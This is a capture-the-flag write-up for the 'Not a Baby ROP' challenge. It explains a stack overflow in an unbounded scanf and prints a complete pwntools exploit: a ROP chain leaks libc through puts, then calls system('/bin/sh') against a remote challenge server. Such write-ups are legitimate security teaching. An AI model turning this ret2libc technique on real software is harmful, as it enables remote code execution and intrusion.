## Not a Baby ROP 
[not-a-baby-rop](https://github.com/tj-oconnor/ctf-writeups/blob/main/hackarmour/not-a-baby/not-a-baby-rop)
## Solution
The binary is compiled with NX and Partial RELRO 
```pwn checksec ./not-a-baby-rop [*] 'hackarmour/not-a-baby/not-a-baby-rop'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
and is dynamically linked to GLIBC.
```ldd ./not-a-baby-rop 	linux-vdso.so.1 (0x00007ffeba57a000)	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007efe521fb000)	/lib64/ld-linux-x86-64.so.2 (0x00007efe523ec000)```
The binary suffers from an overflow.
```00401142  int64_t warm_up()
00401142  55                 push    rbp {__saved_rbp}00401143  4889e5             mov     rbp, rsp {__saved_rbp}00401146  4883c480           add     rsp, 0xffffffffffffff800040114a  488d4580           lea     rax, [rbp-0x80 {var_88}]0040114e  4889c6             mov     rsi, rax {var_88}00401151  488d3dac0e0000     lea     rdi, [rel data_402004]00401158  b800000000         mov     eax, 0x00040115d  e8eefeffff         call    __isoc99_scanf00401162  90                 nop     00401163  c9                 leave    {__saved_rbp}00401164  c3                 retn     {__return_addr}```
The binary is fairly minimal, so we'll leak the base address of libc and return to main().
```def leak_libc():   chain =  pop_rdi   chain += puts_got   chain += puts_plt   chain += main
   p.recvuntil(b'let\'s see what u got')   p.recvline()   p.sendline(pad+chain)   leak=u64(p.recv(6)+b'\x00\x00') log.info("Libc Leak (puts): %s" %hex(leak))   libc.address=leak-libc.sym['puts'] log.info("Libc Address: %s" %hex(libc.address))```
Using [https://libc.rip](https://libc.rip), we determined the libc was [libc6_2.28-10+deb10u1_amd64.so](https://github.com/tj-oconnor/ctf-writeups/blob/main/hackarmour/not-a-baby/libc6_2.28-10%2Bdeb10u1_amd64.so)
Instead of satisfying the one_gadget constraints, we just moved ``'/bin/sh'`` into ``RDI`` and called ``system`` from ``libc``
```def call_system():   chain = pop_rdi   chain += p64(next(libc.search(b'/bin/sh\0')))   chain += p64(libc.sym['system'])   chain += main    p.recvuntil(b'let\'s see what u got')   p.recvline()   p.sendline(pad+chain)```
The final exploit follows.
```from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''continue'''
if args.REMOTE:   libc = ELF('libc6_2.28-10+deb10u1_amd64.so',checksec=False)else:   libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def start():    if args.GDB:        return gdb.debug(e.path, gdbscript=gs)    elif args.REMOTE:        return remote('warzone.hackrocks.com',7770)    else:        return process(e.path)
p = start()
pad = cyclic(136)pop_rdi = p64(r.find_gadget(['pop rdi','ret'])[0])puts_got = p64(e.got['puts'])puts_plt = p64(e.plt['puts'])main = p64(e.sym['main'])
def leak_libc():   chain =  pop_rdi   chain += puts_got   chain += puts_plt   chain += main
   p.recvuntil(b'let\'s see what u got')   p.recvline()   p.sendline(pad+chain)   leak=u64(p.recv(6)+b'\x00\x00') log.info("Libc Leak (puts): %s" %hex(leak))   libc.address=leak-libc.sym['puts'] log.info("Libc Address: %s" %hex(libc.address))
def call_system():   chain = pop_rdi   chain += p64(next(libc.search(b'/bin/sh\0')))   chain += p64(libc.sym['system'])   chain += main    p.recvuntil(b'let\'s see what u got')   p.recvline()   p.sendline(pad+chain)
leak_libc()call_system()p.interactive()```